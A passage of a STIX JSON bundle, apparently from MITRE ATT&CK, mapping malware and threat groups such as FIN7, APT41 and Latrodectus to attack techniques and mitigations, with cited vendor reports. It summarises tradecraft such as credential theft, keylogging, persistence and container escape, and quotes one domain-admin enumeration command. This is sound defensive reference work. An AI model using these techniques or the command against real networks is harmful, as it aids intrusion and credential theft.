2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f443e72c-68a6-4d46-b2aa-96b1aafd5f6b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.justice.gov/opa/press-release/file/1084361/download","description":"Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.","source_name":"DOJ FIN7 Aug 2018"}],"modified":"2019-06-30T23:13:18.537Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) captured screenshots and desktop video recordings.(Citation: DOJ FIN7 Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f44478f1-fdd7-4e84-8b96-60e6c6a10683","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Reaver Nov 2017","description":"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"}],"modified":"2020-03-17T02:22:51.731Z","description":"[Reaver](https://attack.mitre.org/software/S0172) queries the Registry to determine the correct Startup path to use for persistence.(Citation: Palo Alto Reaver Nov 2017)","relationship_type":"uses","source_ref":"malware--65341f30-bec6-4b1d-8abf-1a5620446c29","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4480854-9424-49d5-8b54-f839302e3ee7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Rover","description":"Ray, V., Hayashi, K. (2016, February 29). New Malware ‘Rover’ Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"}],"modified":"2020-03-16T17:46:07.796Z","description":"[Rover](https://attack.mitre.org/software/S0090) has keylogging functionality.(Citation: Palo Alto Rover)","relationship_type":"uses","source_ref":"malware--6b616fc1-1505-48e3-8b2c-0d19337bff38","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f44842c1-f17d-4bb0-8803-3eee13cf831e","type":"relationship","created":"2019-01-30T16:39:54.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2019-06-10T18:25:51.846Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) can capture screenshots.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f451a96a-9266-4252-bd1f-d61c12691708","created":"2024-09-18T19:15:14.228Z","revoked":false,"external_references":[{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T19:15:14.228Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) can run `C:\\Windows\\System32\\cmd.exe /c net group \"Domain Admins\" /domain` to identify domain administrator accounts.(Citation: Elastic Latrodectus May 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f451d5c1-7d7e-46c9-86cc-90d50198e021","created":"2024-05-22T20:24:40.157Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T20:34:31.973Z","description":"[Apostle](https://attack.mitre.org/software/S1133) writes batch scripts to disk, such as system.bat and remover.bat, that perform various anti-analysis and anti-forensic tasks, before finally deleting themselves at the end of execution. [Apostle](https://attack.mitre.org/software/S1133) attempts to delete itself after encryption or wiping operations are complete and before shutting down the victim machine.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--48d96fa0-d027-45aa-a8c3-5d09f65d596d","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f45923c0-e2eb-463b-97bd-4197384f24e1","created":"2024-08-28T14:16:38.740Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-28T14:16:38.740Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--241f9ea8-f6ae-4f38-92f5-cef5b7e539dd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f45cd713-5f87-4e81-95f2-471c7d9c4224","created":"2024-04-12T10:26:13.459Z","revoked":false,"external_references":[{"source_name":"NKAbuse SL","description":"KASPERSKY GERT. (2023, December 14). Unveiling NKAbuse: a new multiplatform threat abusing the NKN protocol. Retrieved February 8, 2024.","url":"https://securelist.com/unveiling-nkabuse/111512/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-12T10:26:13.459Z","description":"[NKAbuse](https://attack.mitre.org/software/S1107) uses a Cron job to establish persistence when infecting Linux hosts.(Citation: NKAbuse SL)","relationship_type":"uses","source_ref":"malware--bd2ebee8-7c38-408a-871d-221012104222","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f45f18e9-4a0c-4f22-8ef6-5a18314535ea","type":"relationship","created":"2020-05-26T18:03:17.256Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."},{"source_name":"Fortinet Metamorfo Feb 2020","url":"https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions","description":"Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."},{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."}],"modified":"2021-10-15T00:45:21.959Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has searched the Program Files directories for specific folders and has searched for strings related to its mutexes.(Citation: Medium Metamorfo Apr 2020)(Citation: Fortinet Metamorfo Feb 2020)(Citation: FireEye Metamorfo Apr 2018) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f461e96f-1d76-4a40-ad84-8f7f7c3cc202","created":"2022-06-03T17:43:17.319Z","x_mitre_version":"0.1","external_references":[{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[PoshC2](https://attack.mitre.org/software/S0378) can decrypt passwords stored in the RDCMan configuration file.(Citation: SecureWorks August 2019)","modified":"2022-06-03T17:43:17.319Z","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f46bb223-1276-4266-b653-d6b8c2943adf","type":"relationship","created":"2021-02-10T19:16:02.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T19:16:02.460Z","description":"[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to use a port scanner on a system.(Citation: ClearSky Lebanese Cedar Jan 2021) ","relationship_type":"uses","source_ref":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4702ee6-c04f-4ccb-95f3-1b40cf6c69c8","type":"relationship","created":"2020-01-23T18:56:39.133Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T18:59:36.937Z","description":"Consider using application control to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f470dae2-81c9-48c4-aeab-27cebe318a09","type":"relationship","created":"2019-07-15T16:29:18.373Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T17:11:01.108Z","description":"Do not allow administrator accounts that have permissions to add component software on these services to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f474fc4e-8fd4-4c67-b55c-23c67807a94f","type":"relationship","created":"2020-06-09T21:23:39.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."}],"modified":"2020-06-25T13:32:00.162Z","description":"[Skidmap](https://attack.mitre.org/software/S0468) has the ability to set SELinux to permissive mode.(Citation: Trend Micro Skidmap)","relationship_type":"uses","source_ref":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f476b228-f729-4809-b40e-6c402da30c5d","created":"2021-03-15T15:14:41.515Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T21:27:07.149Z","description":"[Penquin](https://attack.mitre.org/software/S0587) can delete downloaded executables after running them.(Citation: Leonardo Turla Penquin May 2020)","relationship_type":"uses","source_ref":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f47a9039-b5c0-49e5-9998-2820b075643f","type":"relationship","created":"2020-05-12T21:44:41.005Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-15T18:47:04.386Z","description":"[ShimRatReporter](https://attack.mitre.org/software/S0445) gathered information automatically, without instruction from a C2, related to the user and host machine that is compiled into a report and sent to the operators.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"tool--115f88dd-0618-4389-83cb-98d33ae81848","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f47bdd6d-d8d4-450f-b6ff-30da690621b3","type":"relationship","created":"2021-04-07T20:16:47.703Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-07T20:16:47.703Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has used the BOtB tool that can break out of containers. (Citation: Unit 42 Hildegard Malware) ","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f480c10c-6a40-4fc7-9380-c2690c70a599","created":"2019-09-23T22:53:30.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.552Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used a keylogger called GEARSHIFT on a target system.(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f4852627-bc4c-41d7-bcd5-09e90ae0f13c","created":"2024-09-23T23:05:22.165Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T23:05:22.165Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) used [LaZagne](https://attack.mitre.org/software/S0349) to obtain passwords from memory.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f4881cea-8d6f-4cb6-ab86-5aab2379c695","created":"2019-01-30T20:01:45.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T03:37:46.794Z","description":"[Denis](https://attack.mitre.org/software/S0354) obfuscates its code and encrypts the API names.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f48a5221-1ae3-418b-80b9-c9acba63049a","created":"2024-09-16T09:28:59.877Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:28:59.877Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) used DLL side-loading to execute [DUSTTRAP](https://attack.mitre.org/software/S1159) via an AhnLab uninstaller.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f48b4601-28de-42d1-9ce6-84ad4608acba","type":"relationship","created":"2021-09-22T17:45:10.358Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T20:36:26.695Z","description":"Use application control configured to block execution of mavinject.exe if it is not required for a given system or network to prevent potential misuse by adversaries.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f48ee432-cc6e-4f34-a8bf-0338c1d796d6","type":"relationship","created":"2020-11-08T23:47:39.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2021-04-22T13:40:21.237Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) can collect credentials from WINSCP.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f4902ad9-b1bb-41ce-a448-55e2d9437503","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.652Z","description":"[RedLeaves](https://attack.mitre.org/software/S0153) is capable of downloading a file from a specified URL.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f4980470-c6f6-4032-8d99-e707861a4180","created":"2024-08-26T18:05:40.257Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:05:40.257Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) has created social media accounts to interact with victims.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f49a45b8-6efb-4ac5-8714-9dfd9b31edbd","type":"relationship","created":"2020-05-06T21:01:23.477Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.477Z","description":"[Attor](https://attack.mitre.org/software/S0438) has a file uploader plugin that automatically exfiltrates the collected data and log files to the C2 server.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f49c7cda-92f7-425b-b371-35ef14d0375d","created":"2022-10-11T16:26:18.086Z","revoked":false,"external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T16:26:18.086Z","description":"[Heyoka Backdoor](https://attack.mitre.org/software/S1027) has been named `srvdll.dll` to appear as a legitimate service.(Citation: SentinelOne Aoqin Dragon June 